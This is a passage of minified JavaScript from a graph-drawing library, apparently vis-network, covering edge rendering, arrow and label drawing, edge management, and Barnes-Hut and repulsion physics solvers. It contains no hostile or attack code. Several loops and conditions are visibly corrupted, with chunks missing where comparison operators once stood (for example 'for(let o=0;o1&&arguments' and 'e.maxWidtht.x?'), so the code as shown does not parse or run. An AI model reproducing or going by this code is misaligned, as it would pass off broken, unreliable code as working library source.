C=e,o=[Math.pow(1-C,3),3*C*Math.pow(1-C,2),3*Math.pow(C,2)*(1-C),Math.pow(C,3)],s=o[0]*this.fromPoint.x+o[1]*t.x+o[2]*i.x+o[3]*this.toPoint.x,a=o[0]*this.fromPoint.y+o[1]*t.y+o[2]*i.y+o[3]*this.toPoint.y;return{x:s,y:a}}}class sw extends iw{constructor(e,t,i){super(e,t,i)}_line(e,t){e.beginPath(),e.moveTo(this.fromPoint.x,this.fromPoint.y),e.lineTo(this.toPoint.x,this.toPoint.y),this.enableShadow(e,t),e.stroke(),this.disableShadow(e,t)}getViaNode(){}getPoint(e){return{x:(1-e)*this.fromPoint.x+e*this.toPoint.x,y:(1-e)*this.fromPoint.y+e*this.toPoint.y}}_findBorderPosition(e,t){let i=this.to,C=this.from;e.id===this.from.id&&(i=this.from,C=this.to);const o=Math.atan2(i.y-C.y,i.x-C.x),s=i.x-C.x,a=i.y-C.y,l=Math.sqrt(s*s+a*a),u=e.distanceToBorder(t,o),h=(l-u)/l;return{x:(1-h)*C.x+h*i.x,y:(1-h)*C.y+h*i.y,t:0}}_getDistanceToEdge(e,t,i,C,o,s){return this._getDistanceToLine(e,t,i,C,o,s)}}class sn{constructor(e,t,i,C,o){if(t===void 0)throw new Error("No body provided");this.options=gn(C),this.globalOptions=C,this.defaultOptions=o,this.body=t,this.imagelist=i,this.id=void 0,this.fromId=void 0,this.toId=void 0,this.selected=!1,this.hover=!1,this.labelDirty=!0,this.baseWidth=this.options.width,this.baseFontSize=this.options.font.size,this.from=void 0,this.to=void 0,this.edgeType=void 0,this.connected=!1,this.labelModule=new CC(this.body,this.options,!0),this.setOptions(e)}setOptions(e){if(!e)return;let t=typeof e.physics<"u"&&this.options.physics!==e.physics||typeof e.hidden<"u"&&(this.options.hidden||!1)!==(e.hidden||!1)||typeof e.from<"u"&&this.options.from!==e.from||typeof e.to<"u"&&this.options.to!==e.to;sn.parseOptions(this.options,e,!0,this.globalOptions),e.id!==void 0&&(this.id=e.id),e.from!==void 0&&(this.fromId=e.from),e.to!==void 0&&(this.toId=e.to),e.title!==void 0&&(this.title=e.title),e.value!==void 0&&(e.value=H0(e.value));const i=[e,this.options,this.defaultOptions];return this.chooser=hu("edge",i),this.updateLabelModule(e),t=this.updateEdgeType()||t,this._setInteractionWidths(),this.connect(),t}static parseOptions(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!1,C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!1;if(JA(["endPointOffset","arrowStrikethrough","id","from","hidden","hoverWidth","labelHighlightBold","length","line","opacity","physics","scaling","selectionWidth","selfReferenceSize","selfReference","to","title","value","width","font","chosen","widthConstraint"],e,t,i),t.endPointOffset!==void 0&&t.endPointOffset.from!==void 0&&(eA(t.endPointOffset.from)?e.endPointOffset.from=t.endPointOffset.from:(e.endPointOffset.from=C.endPointOffset.from!==void 0?C.endPointOffset.from:0,console.error("endPointOffset.from is not a valid number"))),t.endPointOffset!==void 0&&t.endPointOffset.to!==void 0&&(eA(t.endPointOffset.to)?e.endPointOffset.to=t.endPointOffset.to:(e.endPointOffset.to=C.endPointOffset.to!==void 0?C.endPointOffset.to:0,console.error("endPointOffset.to is not a valid number"))),Cr(t.label)?e.label=t.label:Cr(e.label)||(e.label=void 0),zg(e,t,"smooth",C),zg(e,t,"shadow",C),zg(e,t,"background",C),t.dashes!==void 0&&t.dashes!==null?e.dashes=t.dashes:i===!0&&t.dashes===null&&(e.dashes=$i(C.dashes)),t.scaling!==void 0&&t.scaling!==null?(t.scaling.min!==void 0&&(e.scaling.min=t.scaling.min),t.scaling.max!==void 0&&(e.scaling.max=t.scaling.max),zg(e.scaling,t.scaling,"label",C.scaling)):i===!0&&t.scaling===null&&(e.scaling=$i(C.scaling)),t.arrows!==void 0&&t.arrows!==null)if(typeof t.arrows=="string"){const a=t.arrows.toLowerCase();e.arrows.to.enabled=Le(a).call(a,"to")!=-1,e.arrows.middle.enabled=Le(a).call(a,"middle")!=-1,e.arrows.from.enabled=Le(a).call(a,"from")!=-1}else if(typeof t.arrows=="object")zg(e.arrows,t.arrows,"to",C.arrows),zg(e.arrows,t.arrows,"middle",C.arrows),zg(e.arrows,t.arrows,"from",C.arrows);else throw new Error("The arrow newOptions can only be an object or a string. Refer to the documentation. You used:"+YA(t.arrows));else i===!0&&t.arrows===null&&(e.arrows=$i(C.arrows));if(t.color!==void 0&&t.color!==null){const a=qA(t.color)?{color:t.color,highlight:t.color,hover:t.color,inherit:!1,opacity:1}:t.color,l=e.color;if(o)Xe(l,C.color,!1,i);else for(const u in l)Object.prototype.hasOwnProperty.call(l,u)&&delete l[u];if(qA(l))l.color=l,l.highlight=l,l.hover=l,l.inherit=!1,a.opacity===void 0&&(l.opacity=1);else{let u=!1;a.color!==void 0&&(l.color=a.color,u=!0),a.highlight!==void 0&&(l.highlight=a.highlight,u=!0),a.hover!==void 0&&(l.hover=a.hover,u=!0),a.inherit!==void 0&&(l.inherit=a.inherit),a.opacity!==void 0&&(l.opacity=Math.min(1,Math.max(0,a.opacity))),u===!0?l.inherit=!1:l.inherit===void 0&&(l.inherit="from")}}else i===!0&&t.color===null&&(e.color=gn(C.color));i===!0&&t.font===null&&(e.font=gn(C.font)),Object.prototype.hasOwnProperty.call(t,"selfReferenceSize")&&(console.warn("The selfReferenceSize property has been deprecated. Please use selfReference property instead. The selfReference can be set like thise selfReference:{size:30, angle:Math.PI / 4}"),e.selfReference.size=t.selfReferenceSize)}getFormattingValues(){const e=this.options.arrows.to===!0||this.options.arrows.to.enabled===!0,t=this.options.arrows.from===!0||this.options.arrows.from.enabled===!0,i=this.options.arrows.middle===!0||this.options.arrows.middle.enabled===!0,C=this.options.color.inherit,o={toArrow:e,toArrowScale:this.options.arrows.to.scaleFactor,toArrowType:this.options.arrows.to.type,toArrowSrc:this.options.arrows.to.src,toArrowImageWidth:this.options.arrows.to.imageWidth,toArrowImageHeight:this.options.arrows.to.imageHeight,middleArrow:i,middleArrowScale:this.options.arrows.middle.scaleFactor,middleArrowType:this.options.arrows.middle.type,middleArrowSrc:this.options.arrows.middle.src,middleArrowImageWidth:this.options.arrows.middle.imageWidth,middleArrowImageHeight:this.options.arrows.middle.imageHeight,fromArrow:t,fromArrowScale:this.options.arrows.from.scaleFactor,fromArrowType:this.options.arrows.from.type,fromArrowSrc:this.options.arrows.from.src,fromArrowImageWidth:this.options.arrows.from.imageWidth,fromArrowImageHeight:this.options.arrows.from.imageHeight,arrowStrikethrough:this.options.arrowStrikethrough,color:C?void 0:this.options.color.color,inheritsColor:C,opacity:this.options.color.opacity,hidden:this.options.hidden,length:this.options.length,shadow:this.options.shadow.enabled,shadowColor:this.options.shadow.color,shadowSize:this.options.shadow.size,shadowX:this.options.shadow.x,shadowY:this.options.shadow.y,dashes:this.options.dashes,width:this.options.width,background:this.options.background.enabled,backgroundColor:this.options.background.color,backgroundSize:this.options.background.size,backgroundDashes:this.options.background.dashes};if(this.selected||this.hover)if(this.chooser===!0){if(this.selected){const s=this.options.selectionWidth;typeof s=="function"?o.width=s(o.width):typeof s=="number"&&(o.width+=s),o.width=Math.max(o.width,.3/this.body.view.scale),o.color=this.options.color.highlight,o.shadow=this.options.shadow.enabled}else if(this.hover){const s=this.options.hoverWidth;typeof s=="function"?o.width=s(o.width):typeof s=="number"&&(o.width+=s),o.width=Math.max(o.width,.3/this.body.view.scale),o.color=this.options.color.hover,o.shadow=this.options.shadow.enabled}}else typeof this.chooser=="function"&&(this.chooser(o,this.options.id,this.selected,this.hover),o.color!==void 0&&(o.inheritsColor=!1),o.shadow===!1&&(o.shadowColor!==this.options.shadow.color||o.shadowSize!==this.options.shadow.size||o.shadowX!==this.options.shadow.x||o.shadowY!==this.options.shadow.y)&&(o.shadow=!0));else o.shadow=this.options.shadow.enabled,o.width=Math.max(o.width,.3/this.body.view.scale);return o}updateLabelModule(e){const t=[e,this.options,this.globalOptions,this.defaultOptions];this.labelModule.update(this.options,t),this.labelModule.baseSize!==void 0&&(this.baseFontSize=this.labelModule.baseSize)}updateEdgeType(){const e=this.options.smooth;let t=!1,i=!0;return this.edgeType!==void 0&&((this.edgeType instanceof Cw&&e.enabled===!0&&e.type==="dynamic"||this.edgeType instanceof ow&&e.enabled===!0&&e.type==="cubicBezier"||this.edgeType instanceof Iw&&e.enabled===!0&&e.type!=="dynamic"&&e.type!=="cubicBezier"||this.edgeType instanceof sw&&e.type.enabled===!1)&&(i=!1),i===!0&&(t=this.cleanup())),i===!0?e.enabled===!0?e.type==="dynamic"?(t=!0,this.edgeType=new Cw(this.options,this.body,this.labelModule)):e.type==="cubicBezier"?this.edgeType=new ow(this.options,this.body,this.labelModule):this.edgeType=new Iw(this.options,this.body,this.labelModule):this.edgeType=new sw(this.options,this.body,this.labelModule):this.edgeType.setOptions(this.options),t}connect(){this.disconnect(),this.from=this.body.nodes[this.fromId]||void 0,this.to=this.body.nodes[this.toId]||void 0,this.connected=this.from!==void 0&&this.to!==void 0,this.connected===!0?(this.from.attachEdge(this),this.to.attachEdge(this)):(this.from&&this.from.detachEdge(this),this.to&&this.to.detachEdge(this)),this.edgeType.connect()}disconnect(){this.from&&(this.from.detachEdge(this),this.from=void 0),this.to&&(this.to.detachEdge(this),this.to=void 0),this.connected=!1}getTitle(){return this.title}isSelected(){return this.selected}getValue(){return this.options.value}setValueRange(e,t,i){if(this.options.value!==void 0){const C=this.options.scaling.customScalingFunction(e,t,i,this.options.value),o=this.options.scaling.max-this.options.scaling.min;if(this.options.scaling.label.enabled===!0){const s=this.options.scaling.label.max-this.options.scaling.label.min;this.options.font.size=this.options.scaling.label.min+C*s}this.options.width=this.options.scaling.min+C*o}else this.options.width=this.baseWidth,this.options.font.size=this.baseFontSize;this._setInteractionWidths(),this.updateLabelModule()}_setInteractionWidths(){typeof this.options.hoverWidth=="function"?this.edgeType.hoverWidth=this.options.hoverWidth(this.options.width):this.edgeType.hoverWidth=this.options.hoverWidth+this.options.width,typeof this.options.selectionWidth=="function"?this.edgeType.selectionWidth=this.options.selectionWidth(this.options.width):this.edgeType.selectionWidth=this.options.selectionWidth+this.options.width}draw(e){const t=this.getFormattingValues();if(t.hidden)return;const i=this.edgeType.getViaNode();this.edgeType.drawLine(e,t,this.selected,this.hover,i),this.drawLabel(e,i)}drawArrows(e){const t=this.getFormattingValues();if(t.hidden)return;const i=this.edgeType.getViaNode(),C={};this.edgeType.fromPoint=this.edgeType.from,this.edgeType.toPoint=this.edgeType.to,t.fromArrow&&(C.from=this.edgeType.getArrowData(e,"from",i,this.selected,this.hover,t),t.arrowStrikethrough===!1&&(this.edgeType.fromPoint=C.from.core),t.fromArrowSrc&&(C.from.image=this.imagelist.load(t.fromArrowSrc)),t.fromArrowImageWidth&&(C.from.imageWidth=t.fromArrowImageWidth),t.fromArrowImageHeight&&(C.from.imageHeight=t.fromArrowImageHeight)),t.toArrow&&(C.to=this.edgeType.getArrowData(e,"to",i,this.selected,this.hover,t),t.arrowStrikethrough===!1&&(this.edgeType.toPoint=C.to.core),t.toArrowSrc&&(C.to.image=this.imagelist.load(t.toArrowSrc)),t.toArrowImageWidth&&(C.to.imageWidth=t.toArrowImageWidth),t.toArrowImageHeight&&(C.to.imageHeight=t.toArrowImageHeight)),t.middleArrow&&(C.middle=this.edgeType.getArrowData(e,"middle",i,this.selected,this.hover,t),t.middleArrowSrc&&(C.middle.image=this.imagelist.load(t.middleArrowSrc)),t.middleArrowImageWidth&&(C.middle.imageWidth=t.middleArrowImageWidth),t.middleArrowImageHeight&&(C.middle.imageHeight=t.middleArrowImageHeight)),t.fromArrow&&this.edgeType.drawArrowHead(e,t,this.selected,this.hover,C.from),t.middleArrow&&this.edgeType.drawArrowHead(e,t,this.selected,this.hover,C.middle),t.toArrow&&this.edgeType.drawArrowHead(e,t,this.selected,this.hover,C.to)}drawLabel(e,t){if(this.options.label!==void 0){const i=this.from,C=this.to;this.labelModule.differentState(this.selected,this.hover)&&this.labelModule.getTextSize(e,this.selected,this.hover);let o;if(i.id!=C.id){this.labelModule.pointToSelf=!1,o=this.edgeType.getPoint(.5,t),e.save();const s=this._getRotation(e);s.angle!=0&&(e.translate(s.x,s.y),e.rotate(s.angle)),this.labelModule.draw(e,o.x,o.y,this.selected,this.hover),e.restore()}else{this.labelModule.pointToSelf=!0;const s=K0(e,this.options.selfReference.angle,this.options.selfReference.size,i);o=this._pointOnCircle(s.x,s.y,this.options.selfReference.size,this.options.selfReference.angle),this.labelModule.draw(e,o.x,o.y,this.selected,this.hover)}}}getItemsOnPoint(e){const t=[];if(this.labelModule.visible()){const C=this._getRotation();fu(this.labelModule.getSize(),e,C)&&t.push({edgeId:this.id,labelId:0})}const i={left:e.x,top:e.y};return this.isOverlappingWith(i)&&t.push({edgeId:this.id}),t}isOverlappingWith(e){if(this.connected){const i=this.from.x,C=this.from.y,o=this.to.x,s=this.to.y,a=e.left,l=e.top;return this.edgeType.getDistanceToEdge(i,C,o,s,a,l)<10}else return!1}_getRotation(e){const t=this.edgeType.getViaNode(),i=this.edgeType.getPoint(.5,t);e!==void 0&&this.labelModule.calculateLabelSize(e,this.selected,this.hover,i.x,i.y);const C={x:i.x,y:this.labelModule.size.yLine,angle:0};if(!this.labelModule.visible()||this.options.font.align==="horizontal")return C;const o=this.from.y-this.to.y,s=this.from.x-this.to.x;let a=Math.atan2(o,s);return(a<-1&&s<0||a>0&&s<0)&&(a+=Math.PI),C.angle=a,C}_pointOnCircle(e,t,i,C){return{x:e+i*Math.cos(C),y:t-i*Math.sin(C)}}select(){this.selected=!0}unselect(){this.selected=!1}cleanup(){return this.edgeType.cleanup()}remove(){this.cleanup(),this.disconnect(),delete this.body.edges[this.id]}endPointsValid(){return this.body.nodes[this.fromId]!==void 0&&this.body.nodes[this.toId]!==void 0}}class _7{constructor(e,t,i){var C;this.body=e,this.images=t,this.groups=i,this.body.functions.createEdge=Q(C=this.create).call(C,this),this.edgesListeners={add:(o,s)=>{this.add(s.items)},update:(o,s)=>{this.update(s.items)},remove:(o,s)=>{this.remove(s.items)}},this.options={},this.defaultOptions={arrows:{to:{enabled:!1,scaleFactor:1,type:"arrow"},middle:{enabled:!1,scaleFactor:1,type:"arrow"},from:{enabled:!1,scaleFactor:1,type:"arrow"}},endPointOffset:{from:0,to:0},arrowStrikethrough:!0,color:{color:"#848484",highlight:"#848484",hover:"#848484",inherit:"from",opacity:1},dashes:!1,font:{color:"#343434",size:14,face:"arial",background:"none",strokeWidth:2,strokeColor:"#ffffff",align:"horizontal",multi:!1,vadjust:0,bold:{mod:"bold"},boldital:{mod:"bold italic"},ital:{mod:"italic"},mono:{mod:"",size:15,face:"courier new",vadjust:2}},hidden:!1,hoverWidth:1.5,label:void 0,labelHighlightBold:!0,length:void 0,physics:!0,scaling:{min:1,max:15,label:{enabled:!0,min:14,max:30,maxVisible:30,drawThreshold:5},customScalingFunction:function(o,s,a,l){if(s===o)return .5;{const u=1/(s-o);return Math.max(0,(l-o)*u)}}},selectionWidth:1.5,selfReference:{size:20,angle:Math.PI/4,renderBehindTheNode:!0},shadow:{enabled:!1,color:"rgba(0,0,0,0.5)",size:10,x:5,y:5},background:{enabled:!1,color:"rgba(111,111,111,1)",size:10,dashes:!1},smooth:{enabled:!0,type:"dynamic",forceDirection:"none",roundness:.5},title:void 0,width:1,value:void 0},Xe(this.options,this.defaultOptions),this.bindEventListeners()}bindEventListeners(){var e=this,t,i;this.body.emitter.on("_forceDisableDynamicCurves",function(C){let o=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;C==="dynamic"&&(C="continuous");let s=!1;for(const a in e.body.edges)if(Object.prototype.hasOwnProperty.call(e.body.edges,a)){const l=e.body.edges[a],u=e.body.data.edges.get(a);if(u!=null){const h=u.smooth;h!==void 0&&h.enabled===!0&&h.type==="dynamic"&&(C===void 0?l.setOptions({smooth:!1}):l.setOptions({smooth:{type:C}}),s=!0)}}o===!0&&s===!0&&e.body.emitter.emit("_dataChanged")}),this.body.emitter.on("_dataUpdated",()=>{this.reconnectEdges()}),this.body.emitter.on("refreshEdges",Q(t=this.refresh).call(t,this)),this.body.emitter.on("refresh",Q(i=this.refresh).call(i,this)),this.body.emitter.on("destroy",()=>{Ee(this.edgesListeners,(C,o)=>{this.body.data.edges&&this.body.data.edges.off(o,C)}),delete this.body.functions.createEdge,delete this.edgesListeners.add,delete this.edgesListeners.update,delete this.edgesListeners.remove,delete this.edgesListeners})}setOptions(e){if(e!==void 0){sn.parseOptions(this.options,e,!0,this.defaultOptions,!0);let t=!1;if(e.smooth!==void 0)for(const i in this.body.edges)Object.prototype.hasOwnProperty.call(this.body.edges,i)&&(t=this.body.edges[i].updateEdgeType()||t);if(e.font!==void 0)for(const i in this.body.edges)Object.prototype.hasOwnProperty.call(this.body.edges,i)&&this.body.edges[i].updateLabelModule();(e.hidden!==void 0||e.physics!==void 0||t===!0)&&this.body.emitter.emit("_dataChanged")}}setData(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.data.edges;if(G0("id",e))this.body.data.edges=e;else if(Re(e))this.body.data.edges=new AC,this.body.data.edges.add(e);else if(!e)this.body.data.edges=new AC;else throw new TypeError("Array or DataSet expected");if(i&&Ee(this.edgesListeners,(C,o)=>{i.off(o,C)}),this.body.edges={},this.body.data.edges){Ee(this.edgesListeners,(o,s)=>{this.body.data.edges.on(s,o)});const C=this.body.data.edges.getIds();this.add(C,!0)}this.body.emitter.emit("_adjustEdgesForHierarchicalLayout"),t===!1&&this.body.emitter.emit("_dataChanged")}add(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1;const i=this.body.edges,C=this.body.data.edges;for(let o=0;o1&&arguments[1]!==void 0?arguments[1]:!0;if(e.length===0)return;const i=this.body.edges;Ee(e,C=>{const o=i[C];o!==void 0&&o.remove()}),t&&this.body.emitter.emit("_dataChanged")}refresh(){Ee(this.body.edges,(e,t)=>{const i=this.body.data.edges.get(t);i!==void 0&&e.setOptions(i)})}create(e){return new sn(e,this.body,this.images,this.options,this.defaultOptions)}reconnectEdges(){let e;const t=this.body.nodes,i=this.body.edges;for(e in t)Object.prototype.hasOwnProperty.call(t,e)&&(t[e].edges=[]);for(e in i)if(Object.prototype.hasOwnProperty.call(i,e)){const C=i[e];C.from=null,C.to=null,C.connect()}}getConnectedNodes(e){const t=[];if(this.body.edges[e]!==void 0){const i=this.body.edges[e];i.fromId!==void 0&&t.push(i.fromId),i.toId!==void 0&&t.push(i.toId)}return t}_updateState(){this._addMissingEdges(),this._removeInvalidEdges()}_removeInvalidEdges(){const e=[];Ee(this.body.edges,(t,i)=>{const C=this.body.nodes[t.toId],o=this.body.nodes[t.fromId];C!==void 0&&C.isCluster===!0||o!==void 0&&o.isCluster===!0||(C===void 0||o===void 0)&&e.push(i)}),this.remove(e,!1)}_addMissingEdges(){const e=this.body.data.edges;if(e==null)return;const t=this.body.edges,i=[];De(e).call(e,(C,o)=>{t[o]===void 0&&i.push(o)}),this.add(i,!0)}}class rw{constructor(e,t,i){this.body=e,this.physicsBody=t,this.barnesHutTree,this.setOptions(i),this._rng=Hs("BARNES HUT SOLVER")}setOptions(e){this.options=e,this.thetaInversed=1/this.options.theta,this.overlapAvoidanceFactor=1-Math.max(0,Math.min(1,this.options.avoidOverlap))}solve(){if(this.options.gravitationalConstant!==0&&this.physicsBody.physicsNodeIndices.length>0){let e;const t=this.body.nodes,i=this.physicsBody.physicsNodeIndices,C=i.length,o=this._formBarnesHutTree(t,i);this.barnesHutTree=o;for(let s=0;s0&&this._getForceContributions(o.root,e)}}_getForceContributions(e,t){this._getForceContribution(e.children.NW,t),this._getForceContribution(e.children.NE,t),this._getForceContribution(e.children.SW,t),this._getForceContribution(e.children.SE,t)}_getForceContribution(e,t){if(e.childrenCount>0){const i=e.centerOfMass.x-t.x,C=e.centerOfMass.y-t.y,o=Math.sqrt(i*i+C*C);o*e.calcSize>this.thetaInversed?this._calculateForces(o,i,C,t,e):e.childrenCount===4?this._getForceContributions(e,t):e.children.data.id!=t.id&&this._calculateForces(o,i,C,t,e)}}_calculateForces(e,t,i,C,o){e===0&&(e=.1,t=e),this.overlapAvoidanceFactor<1&&C.shape.radius&&(e=Math.max(.1+this.overlapAvoidanceFactor*C.shape.radius,e-C.shape.radius));const s=this.options.gravitationalConstant*o.mass*C.options.mass/Math.pow(e,3),a=t*s,l=i*s;this.physicsBody.forces[C.id].x+=a,this.physicsBody.forces[C.id].y+=l}_formBarnesHutTree(e,t){let i;const C=t.length;let o=e[t[0]].x,s=e[t[0]].y,a=e[t[0]].x,l=e[t[0]].y;for(let N=1;N0&&(ka&&(a=k),Yl&&(l=Y))}const u=Math.abs(a-o)-Math.abs(l-s);u>0?(s-=.5*u,l+=.5*u):(o+=.5*u,a-=.5*u);const p=Math.max(1e-5,Math.abs(a-o)),m=.5*p,v=.5*(o+a),w=.5*(s+l),D={root:{centerOfMass:{x:0,y:0},mass:0,range:{minX:v-m,maxX:v+m,minY:w-m,maxY:w+m},size:p,calcSize:1/p,children:{data:null},maxWidth:0,level:0,childrenCount:4}};this._splitBranch(D.root);for(let N=0;N0&&this._placeInTree(D.root,i);return D}_updateBranchMass(e,t){const i=e.centerOfMass,C=e.mass+t.options.mass,o=1/C;i.x=i.x*e.mass+t.x*t.options.mass,i.x*=o,i.y=i.y*e.mass+t.y*t.options.mass,i.y*=o,e.mass=C;const s=Math.max(Math.max(t.height,t.radius),t.width);e.maxWidth=e.maxWidtht.x?C.maxY>t.y?o="NW":o="SW":C.maxY>t.y?o="NE":o="SE",this._placeInRegion(e,t,o)}_placeInRegion(e,t,i){const C=e.children[i];switch(C.childrenCount){case 0:C.children.data=t,C.childrenCount=1,this._updateBranchMass(C,t);break;case 1:C.children.data.x===t.x&&C.children.data.y===t.y?(t.x+=this._rng(),t.y+=this._rng()):(this._splitBranch(C),this._placeInTree(C,t));break;case 4:this._placeInTree(C,t);break}}_splitBranch(e){let t=null;e.childrenCount===1&&(t=e.children.data,e.mass=0,e.centerOfMass.x=0,e.centerOfMass.y=0),e.childrenCount=4,e.children.data=null,this._insertRegion(e,"NW"),this._insertRegion(e,"NE"),this._insertRegion(e,"SW"),this._insertRegion(e,"SE"),t!=null&&this._placeInTree(e,t)}_insertRegion(e,t){let i,C,o,s;const a=.5*e.size;switch(t){case"NW":i=e.range.minX,C=e.range.minX+a,o=e.range.minY,s=e.range.minY+a;break;case"NE":i=e.range.minX+a,C=e.range.maxX,o=e.range.minY,s=e.range.minY+a;break;case"SW":i=e.range.minX,C=e.range.minX+a,o=e.range.minY+a,s=e.range.maxY;break;case"SE":i=e.range.minX+a,C=e.range.maxX,o=e.range.minY+a,s=e.range.maxY;break}e.children[t]={centerOfMass:{x:0,y:0},mass:0,range:{minX:i,maxX:C,minY:o,maxY:s},size:.5*e.size,calcSize:2*e.calcSize,children:{data:null},maxWidth:0,level:e.level+1,childrenCount:0}}_debug(e,t){this.barnesHutTree!==void 0&&(e.lineWidth=1,this._drawBranch(this.barnesHutTree.root,e,t))}_drawBranch(e,t,i){i===void 0&&(i="#FF0000"),e.childrenCount===4&&(this._drawBranch(e.children.NW,t),this._drawBranch(e.children.NE,t),this._drawBranch(e.children.SE,t),this._drawBranch(e.children.SW,t)),t.strokeStyle=i,t.beginPath(),t.moveTo(e.range.minX,e.range.minY),t.lineTo(e.range.maxX,e.range.minY),t.stroke(),t.beginPath(),t.moveTo(e.range.maxX,e.range.minY),t.lineTo(e.range.maxX,e.range.maxY),t.stroke(),t.beginPath(),t.moveTo(e.range.maxX,e.range.maxY),t.lineTo(e.range.minX,e.range.maxY),t.stroke(),t.beginPath(),t.moveTo(e.range.minX,e.range.maxY),t.lineTo(e.range.minX,e.range.minY),t.stroke()}}class k7{constructor(e,t,i){this._rng=Hs("REPULSION SOLVER"),this.body=e,this.physicsBody=t,this.setOptions(i)}setOptions(e){this.options=e}solve(){let e,t,i,C,o,s,a,l;const u=this.body.nodes,h=this.physicsBody.physicsNodeIndices,p=this.physicsBody.forces,m=this.options.nodeDistance,v=-2/3/m,w=4/3;for(let D=0;D0){const s=o.edges.length+1,a=this.options.centralGravity*s*o.options.mass;C[o.id].x=t*a,C[o.id].y=i*a}}}class L7{constructor(e){this.body=e,this.physicsBody={physicsNodeIndices:[],physicsEdgeIndices:[],forces:{},velocities:{}},this.physicsEnabled=!0,this.simulationInterval=1e3/60,this.requiresTimeout=!0,this.previousStates={},this.referenceState={},this.freezeCache={},this.renderTimer=void 0,this.adaptiveTimestep=!1,this.adaptiveTimestepEnabled=!1,this.adaptiveCounter=0,this.adaptiveInterval=3,this.stabilized=!1,this.startedStabilization=!1,this.stabilizationIterations=0,this.ready=!1,this.options={},this.defaultOptions={enabled:!0,barnesHut:{theta:.5,gravitationalConstant:-2e3,centralGravity:.3,springLength:95,springConstant:.04,damping:.09,avoidOverlap:0},forceAtlas2Based:{theta:.5,gravitationalConstant:-50,centralGravity:.01,springConstant:.08,springLength:100,damping:.4,avoidOverlap:0},repulsion:{centralGravity:.2,springLength:200,springConstant:.05,nodeDistance:100,damping:.09,avoidOverlap:0},hierarchicalRepulsion:{centralGravity:0,springLength:100,springConstant:.01,nodeDistance:120,damping:.09},maxVelocity:50,minVelocity:.75,solver:"barnesHut",stabilization:{enabled:!0,iterations:1e3,updateInterval:50,onlyDynamicEdges:!1,fit:!0},timestep:.5,adaptiveTimestep:!0,wind:{x:0,y:0}},ht(this.options,this.defaultOptions),this.timestep=.5,this.layoutFailed=!1,this.bindEventListeners()}bindEventListeners(){this.body.emitter.on("initPhysics",()=>{this.initPhysics()}),this.body.emitter.on("_layoutFailed",()=>{this.layoutFailed=!0}),this.body.emitter.on("resetPhysics",()=>{this.stopSimulation(),this.ready=!1}),this.body.emitter.on("disablePhysics",()=>{this.physicsEnabled=!1,this.stopSimulation()}),this.body.emitter.on("restorePhysics",()=>{this.setOptions(this.options),this.ready===!0&&this.startSimulation()}),this.body.emitter.on("startSimulation",()=>{this.ready===!0&&this.startSimulation()}),this.body.emitter.on("stopSimulation",()=>{this.stopSimulation()}),this.body.emitter.on("destroy",()=>{this.stopSimulation(!1),this.body.emitter.off()}),this.body.emitter.on("_dataChanged",()=>{this.updatePhysicsData()})}setOptions(e){if(e!==void 0)if(e===!1)this.options.enabled=!1,this.physicsEnabled=!1,this.stopSimulation();else if(e===!0)this.options.enabled=!0,this.physicsEnabled=!0,this.startSimulation();else{this.physicsEnabled=!0,Ks(["stabilization"],this.options,e),zg(this.options,e,"stabilization"),e.enabled===void 0&&(this.options.enabled=!0),this.options.enabled===!1&&(this.physicsEnabled=!1,this.stopSimulation());const t=this.options.wind;t&&((typeof t.x!="number"||gu(t.x))&&(t.x=0),(typeof t.y!="number"||gu(t.y))&&(t.y=0)),this.timestep=this.options.timestep}this.init()}init(){let e;this.options.solver==="forceAtlas2Based"?(e=this.options.forceAtlas2Based,this.nodesSolver=new P7(this.body,this.physicsBody,e),this.edgesSolver=new vu(this.body,this.physicsBody,e),this.gravitySolver=new j7(this.body,this.physicsBody,e)):this.options.solver==="repulsion"?(e=this.options.repulsion,this.nodesSolver=new k7(this.body,this.physicsBody,e),this.edgesSolver=new vu(this.body,this.physicsBody,e),this.gravitySolver=new Ir(this.body,this.physicsBody,e)):this.options.solver==="hierarchicalRepulsion"?(e=this.options.hierarchicalRepulsion,this.nodesSolver=new Z7(this.body,this.physicsBody,e),this.edgesSolver=new B7(this.body,this.physicsBody,e),this.gravitySolver=new Ir(this.body,this.physicsBody,e)):(e=this.options.barnesHut,this.nodesSolver=new rw(this.body,this.physicsBody,e),this.edgesSolver=new vu(this.body,this.physicsBody,e),this.gravitySolver=new Ir(this.body,this.physicsBody,e)),this.modelOptions=e}initPhysics(){this.physicsEnabled===!0&&this.options.enabled===!0?this.options.stabilization.enabled===!0?this.stabilize():(this.stabilized=!1,this.ready=!0,this.body.emitter.emit("fit",{},this.layoutFailed),this.startSimulation()):(this.ready=!0,this.body.emitter.emit("fit"))}startSimulation(){if(this.physicsEnabled===!0&&this.options.enabled===!0){if(this.stabilized=!1,this.adaptiveTimestep=!1,this.body.emitter.emit("_resizeNodes"),this.viewFunction===void 0){var e;this.viewFunction=Q(e=this.simulationStep).call(e,this),this.body.emitter.on("initRedraw",this.viewFunction),this.body.emitter.emit("_startRendering")}}else this.body.emitter.emit("_redraw")}stopSimulation(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!0;this.stabilized=!0,e===!0&&this._emitStabilized(),this.viewFunction!==void 0&&(this.body.emitter.off("initRedraw",this.viewFunction),this.viewFunction=void 0,e===!0&&this.body.emitter.emit("_stopRendering"))}simulationStep(){const e=ks();this.physicsTick(),(ks()-e<.4*this.simulationInterval||this.runDoubleSpeed===!0)&&this.stabilized===!1&&(this.physicsTick(),this.runDoubleSpeed=!0),this.stabilized===!0&&this.stopSimulation()}_emitStabilized(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:this.stabilizationIterations;(this.stabilizationIterations>1||this.startedStabilization===!0)&&Ai(()=>{this.body.emitter.emit("stabilized",{iterations:e}),this.startedStabilization=!1,this.stabilizationIterations=0},0)}physicsStep(){this.gravitySolver.solve(),this.nodesSolver.solve(),this.edgesSolver.solve(),this.moveNodes()}adjustTimeStep(){this._evaluateStepQuality()===!0?this.timestep=1.2*this.timestep:this.timestep/1.2s))return!1;return!0}moveNodes(){const e=this.physicsBody.physicsNodeIndices;let t=0,i=0;const C=5;for(let o=0;os&&(e=e>0?s:-s),e}_performStep(e){const 